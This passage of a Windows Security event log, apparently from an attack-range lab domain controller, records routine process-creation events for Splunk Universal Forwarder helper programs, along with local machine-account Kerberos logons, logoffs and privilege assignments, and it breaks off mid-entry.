-03/11/2021 11:58:09 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254169 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x13ac - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:58:10 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254170 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x448 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:58:11 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254171 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x2ec - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:58:12 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254172 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x133c - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:58:13 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254174 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x298 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:58:13 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254173 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xf58 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:58:14 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254175 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x940 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:58:52 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=254176 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xB9329 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:58:57 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=254179 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xBEAB8 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:58:57 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=254178 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xBEAB8 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: ::1 - Source Port: 62388 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:58:57 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=254177 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xBEAB8 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:59:09 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254180 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xc28 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:59:10 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254181 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x137c - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:59:11 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254182 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x139c - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:59:12 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254183 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1028 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:59:13 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254185 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1338 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:59:13 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254184 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x374 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:59:14 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254186 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x11e4 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:59:57 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=254189 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xC20F1 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:59:57 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=254188 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xC20F1 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: ::1 - Source Port: 62401 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:59:57 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=254187 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xC20F1 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 12:00:09 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254190 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x12c4 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:00:10 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254191 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xb38 - New Process Name: C:\Program 